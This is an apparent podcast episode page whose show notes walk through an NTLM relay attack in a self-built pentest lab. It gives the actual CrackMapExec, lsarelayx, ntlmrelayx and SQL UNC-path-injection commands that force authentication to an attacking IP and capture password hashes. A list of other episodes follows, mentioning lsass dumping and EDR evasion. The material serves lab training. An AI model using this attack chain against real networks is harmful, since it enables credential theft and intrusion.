7MS #570: How to Build a Vulnerable Pentest Lab - Part 4

7MS #570: How to Build a Vulnerable Pentest Lab - Part 4

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In today's episode we staged an NTLM relay attack using a vulnerable SQL server.

First we used CrackMapExec (see our two part series on Cracking and Mapping and Execing with CrackMapExec - part 1 / part 2) to find hosts with SMB signing disabled:

cme smb x.x.x.x/24 -u USER -p PASS --gen-relay-list smbsigning.txt

Then we setup lsarelayx in one window:

lsarelayx --host=localhost

And in a second window we ran ntlmrelayx.py:

python ntlmrelayx.py -smb2support --no-smb-server -t smb://VICTIM

Finally, in a third window we triggered authentication from the vulnerable SQL server:

Invoke-SQLUncPathInjection -verbose -captureip OUR.ATTACKING.IP.ADDRESS

Boom! Watch the local usernames and hashes fall out of the victim system.

We also tried doing a multirelay scenario where we had a list of victim hosts in a targets.txt file like this:

victim1 victim2 victim3

Then we tweaked the ntlmrelayx command slightly:

python ntlmrelayx.py -smb2support --no-smb-server -tf targets.txt

Interestingly(?) only victim2 was attacked.

Lastly, we ran the same attack but added the -socks option to establish SOCKS connections upon successful relay:

python ntlmrelayx.py -smb2support --no-smb-server -tf targets.txt -socks

Interestingly(?) we got a low-priv user to relay and setup a SOCKS connection, but not the domain admin configured on the SQL server.

TLDR/TLDL: relaying credentials to a single victim with ntlmrelay on a Windows hosts seems to work great! Your milage may vary if you try to pull off more advanced tricks with ntlmrelay.

Avsnitt(706)

7MS #497: The Stress and Satisfaction of Offering Live Security Training

7MS #497: The Stress and Satisfaction of Offering Live Security Training

Hey friends, today I'm giving you a peek behind the curtain of our Light Pentest LITE training to talk about the software/hardware we use to make it sing, the growing pains - and OMG(!) moments - that forced us to build in more infrastructure redundancy, and the cool (and expensive!) cloud options we're considering to offer a self-paced version of the course.

2 Dec 202151min

7MS #496: Tales of Pentest Pwnage - Part 30

7MS #496: Tales of Pentest Pwnage - Part 30

Today's tale of pentesting has a bunch of tips to help you maximize your pwnage, including: The new Responder DHCP poisoning module All the cool bells and whistles from CrackMapExec which now include new lsass-dumping modules! Speaking of lsass dumping, here's a new trick that works if you have Visual Studio installed (I bet it will be detected soon). I close out today's episode with a story about how my Cobalt Strike beacons got burned by a dating site!

24 Nov 202148min

7MS #495: Desperately Seeking a Super SIEM for SMBs - Part 5

7MS #495: Desperately Seeking a Super SIEM for SMBs - Part 5

Today we continue our SIEM/SOC evaluation series with a closer look at one particular managed solution and how it fared (very well) against a very hostile environment: the Light Pentest LITE pentesting course! Spoiler alert: this solution was able to detect: RDP from public IPs Password spraying Kerberoasting Mimikatz Recon net commands Hash dumping Hits on a "honey domain admin" account Users with non-expiring passwords Hits on the SSH/FTP/HTTP honeypot

17 Nov 202139min

7MS #494: Interview with Josh Burnham of Liquid Web

7MS #494: Interview with Josh Burnham of Liquid Web

10 Nov 202145min

7MS #493: 7MOIST - Part 2

7MS #493: 7MOIST - Part 2

Hey, remember back in episode #357 where we introduced 7MOIST (7 Minutes of IT and Security Tips)? Yeah, me neither :-). Anyway, we're back with the second edition of 7MOIST and have some cool pentesting and general IT tips that will hopefully make your life a little awesome-r: Stuck on a pentest because EDR keeps gobbling your payloads? SharpCradle might just save the day! CrackMapExec continues to learn new awesome tricks - including a module called slinky that plants hash-grabbing files on shares you have write access to! Browsing 17 folders deep in Windows Explorer and wish you could just pop a cmd.exe from right there? You can! Just click into the path where you're browsing, type cmd.exe, hit Enter and BOOM! Welcome to a prompt right at that folder!

4 Nov 20217min

7MS #492: Tales of Pentest Pwnage - Part 29

7MS #492: Tales of Pentest Pwnage - Part 29

Hello friends! We're long overdue for a tale of pentest pwnage, and this one is a humdinger! It's actually kind of three tales in one, focusing on pentesting wins using: Manual "open heart surgery" on the root of the Active Directory domain The new totally rad DHCP poisoning module of Responder An opportunity to abuse GPOs with SharpGPOAbuse (P.S. we talked about this tool about a year ago in episode 441)

28 Okt 202156min

7MS #491: Interview with Louis Evans of Arctic Wolf

7MS #491: Interview with Louis Evans of Arctic Wolf

Today we're joined by Louis Evans of Arctic Wolf to talk about all things cyber insurance, including: History on cyber insurance - who's buying it, what it does and doesn't cover, and when it started to be something you didn't want to leave home without What are insurance companies asking/demanding of customers before writing a cyber insurance policy? What basic things organizations can do to reduce malware/ransomware incidents (whether they are considering a cyber insurance policy or not)? How do I evaluate the various insurance carriers out there and pick a good one?

20 Okt 202152min

7MS #490: Desperately Seeking a Super SIEM for SMBs - Part 4

7MS #490: Desperately Seeking a Super SIEM for SMBs - Part 4

Hey friends! Today we're going to recap the SIEM/SOC players we've evaluated so far (Arctic Wolf, Elastic, Sumo Logic, Milton Security) and then talk about a new contender that was brought to our attention: Blumira (not a sponsor, but I'm really digging what I'm seeing/hearing/experiencing thus far)!

13 Okt 202142min

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